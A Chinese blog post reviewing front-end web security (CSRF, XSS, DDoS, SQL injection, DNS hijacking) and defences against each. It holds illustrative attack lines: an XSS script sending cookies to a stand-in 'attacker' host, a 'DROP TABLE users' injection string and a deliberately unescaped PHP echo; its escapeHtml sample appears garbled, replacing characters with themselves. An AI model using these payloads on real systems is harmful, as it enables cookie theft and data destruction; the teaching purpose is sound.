cocleon 2019-06-28
引言: 转前端一年了,期间工作较忙,也没时间整理一些知识体系,此系列文章是对前端基础的一些回顾与总结。本文主要总结一下前端需要关注的web安全。
CSRF(Cross Site Request Forgery,跨站请求伪造)攻击是一种依赖web浏览器的、被混淆过的代理人攻击,通过伪装来自受信任用户的请求来利用受信任的网站,造成个人隐私泄露及财产安全
于是,网站B就通过盗用保存在客户端的cookie,以客户端的身份来访问网站A,做一些诸如:发送信息,邮件,盗取账户,财产等违法操作。
上面说的是狭义的csrf,其实广义的csrf是指准确的猜测出你的请求参数,然后构造出一个合法的请求去进行curd,实际上不一定依赖于浏览器,但它的前提是要找到xss漏洞。
防范csrf的根本方法是有效辨别请求是否来源于正常的用户。可以通过 token 、 referer、 验证码 来判断:
token的原理是:使用存放在cookie或者前端某处的某个值,通过约定的方法加密成一串字符串,作为参数传递给后台,后台根据同样的算法加密,对比2个值是否相等。一般来说是在cookie里放一个token,由于同源策略,伪造者无法获取cookie里面的信息,所以即使知道了算法,也构造不出校验串。
<meta content="_csrf" name="csrf-param"> <meta content="6eEHcEur-Q-CoC0eMc3GIRofusFMhD6fYr4Y" name="csrf-token">
<input type="hidden" name="csrf_token" value="<? echo $token;?>">
通过请求头中的referer字段判断请求的来源,但这种方式不太保险,因为referer有可能被伪造。
在一些很敏感的curd操作中,可以做验证码校验。在现有技术下,破解一个验证码是有一定难度的,比如12306的地狱级验证码。但是考虑到用户体验,这种较为安全的校验方式需要合理地使用。
现在业界内大多数的防csrf的方案都是token+referer。但token是在cookie没有被盗取的前提下才有安全性,而referer也并不难伪造,所以,即使做好了csrf,如果网站存在XSS漏洞,被攻击者盗用了cookie信息,那么,token+referer的防范手段将形同虚设。
跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击Web网站的方法。攻击者可以在网页上发布包含攻击性代码的数据,当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息以及造成其它类型的攻击。
XSS的本质就是在用户的浏览器执行一段恶意的JS代码,其攻击方式大致可以分为3类,我们假设攻击代码是为了盗取我们的cookie信息:
//攻击代码 <script> window.location='http://attacker/?cookie='+document.cookie; </script>
而我们服务器和前端未做XSS防范,直接拿取链接中的参数,显示到页面:
<?php echo ‘Hi,’ . $_GET[‘name’]; ?>
反射型是指恶意代码来自用户的请求。
反射型的xss需要诱使用户主动点击攻击者伪造的链接,发起请求,最终将恶意代码在浏览器运行。
存储型是指恶意代码来自网站数据库,攻击者通过网站的输入途径,比如评论,将恶意代码存入数据库。然后其他用户访问这个页面,就会执行这段代码。从而收到攻击。
DOM XSS 是存储型 XSS 和 反射型 XSS 的变种。就是将攻击脚本注入到 DOM 结构里的攻击手法,在 DOM XSS 攻击中,一直到页面运行了 JavaScript,恶意字符串才被实际的解析。
随着 WEB 应用越来越高级,越来越多的 HTML 是在客户端通过 JavaScript 生成而不是在服务端生成。任何时候不刷新整个页面,需要更新内容,就必须通过 JavaScript 进行。值得注意的是,AJAX 请求后更新页面就是这样的例子。
也就是说,XSS 漏洞不仅可以出现在网站服务端代码,还可能出现在客户端 JavaScript 代码中。结果就是,即使服务端代码完全没问题,在页面加载完成后,客户端代码还是可能在 DOM 更新中不安全的包含了用户输入。一旦发生,客户端代码就存与服务端无关的 XSS 漏洞
XSS是有很多奇淫技巧的,防范手段也是见仁见智。这里我只说几种常见的防范方法:
< , ' , " , / , > , &
字符的过滤function escapeHtml(string) { return string .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''') .replace(/\//g, '/') }
function htmlEncode(html) { var sub = document.createElement('div'); sub.textContent != null ? sub.textContent = html : sub.innerText = html; var output = sub.innerHTML; sub = null; return output; } function htmlDecode(text) { var sub = document.createElement('div'); sub.innerHTML = text; var output = sub.textContent || sub.innerText; sub = null; return output; }
输入的信息一般都需要符合一定的规范,比如说字符类型,字符长度等,可以在入库或者提交之前对输入信息进行校验和过滤。这里的方法就太多了,具体业务具体分析
CSP 用来限制浏览器 viewing your page 保证其只能使用从可信任的源下载的资源。资源可以是脚本、样式表、图片或是页面引用的其它类型文件。也就是说,即使攻击者成功在网站中注入了恶意代码,CSP 可以防止其被执行
CSP 可以用来强制实施下面的规则:
如何启用?
默认情况下,浏览器不强制使用 CSP。为了给网站开启 CSP,响应中要带上额外的 HTTP 头:Content-Security-Policy。如果浏览器支持 CSP,那么所有带有这一 HTTP 头的页面都会遵守 CSP。
具体的CSP语法可参考:CSP
在现代的前端和后端框架中,一般都会内置对于XSS的过滤功能,比如vue的 {{}} 就对输出的内容进行了实体转换。作为一名开发人员,最重要的是有防范XSS的意识,编码的过程中要思考一下这个输入是否会造成网站安全。
DDOS(分布式拒绝服务)是以通过某种手段,致使网站的某个环节崩溃或者瘫痪,从而使网站无法正常运行为目的的一些攻击手段的总称。比较常见的就是通过一些“肉鸡”无间断的大量发送请求,使目标服务器超出负荷,从而崩溃瘫痪。
近期比较有影响力的DDOS攻击事件就是著名的博客作者,前端布道者-阮一峰老师的博客被ddos攻击,博客下线了50个小时。
我们可以使用一些策略,对一些明显的恶意请求进行拦截:
但是这种过滤的前提是ddos 的攻击有一定的规律可循,但是一般来说,高级的ddos往往是伪装成一个合法的请求,难以识别。
最有效的方法就是,有足够的带宽去应对这些ddos请求,但是这样的成本较高。目前大多数服务器运营商都提供了防ddos的方案,其原理是,平时会有大量的冗余带宽待命,遭到攻击时就将请求分流到冗余带宽,使服务器不至于崩溃。
cdn 能有效的保证请求的稳定性,因为请求并不是直接请求服务器,而是现在cdn里找,找不到再由cdn去缘服务器上找。另一方面,cdn的服务器不止一台,能有效的做分流。
在遭受攻击后,如果之前备份了网站,那可以先使用备份网站,不至于整个业务停止。
ps:发起DDOS也是需要很高成本的,一般来说,普通的网站基本不会有这种待遇。
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
带来的危害:
假设有个链接请求是这样的:
www.a.com/query?userId=123
功能是查询userId为123的用户出来,这个请求到我们服务端最后 sql语句是这样:
select * from users where userid=123
那如果我们没对用户输入做校验,用户输入了一个这样的字符串
123; DROP TABLE users;
那我们最后执行的 sql 就变成了
select * from users where userid=123; DROP TABLE users;
然后,你就可以跑路了,因为库已经被删了。(手动滑稽)
从上面的例子,我们可以看出sql的攻击原理,其本质就是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
最重要的一个原则就是:永远不要相信外来的输入!
具体可以这么做:
DNS劫持就是通过劫持了DNS服务器,通过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址,从而实现窃取资料或者破坏原有正常服务的目的。
是不是发现了?你访问的网址会失去响应或者跳到别的恶意网站,是不是会怀疑自己访问的是个假网址?哈哈..
DNS劫持一方面可能影响用户的正常体验,用户被引到假冒的网站进而无法正常浏览网页。用户量较大的网站域名被劫持后恶劣影响会不断扩大,用户可能被诱骗到冒牌网站进行登录等操作导致泄露隐私数据.
相信做好以上几点,DNS劫持是很难发生啦~
作为web前端开发人员,一定要有安全意识,虽然大部分用户都是善良的,但是也要防范于未然。不然被攻击了,那可就劳民又伤财了。说不定还得拿起包袱走人。俗话说,最怕有心算无心,关于安全,本文所讲到的只是常见的一些攻击手段,江湖上的奇淫技巧数不胜数,建议有时间还是深入研究一下。
参考文章
https://zoumiaojiang.com/arti...
https://www.cnblogs.com/vajoy...
https://juejin.im/entry/58bad...
https://segmentfault.com/a/11...
https://developer.mozilla.org...
https://www.jianshu.com/p/078...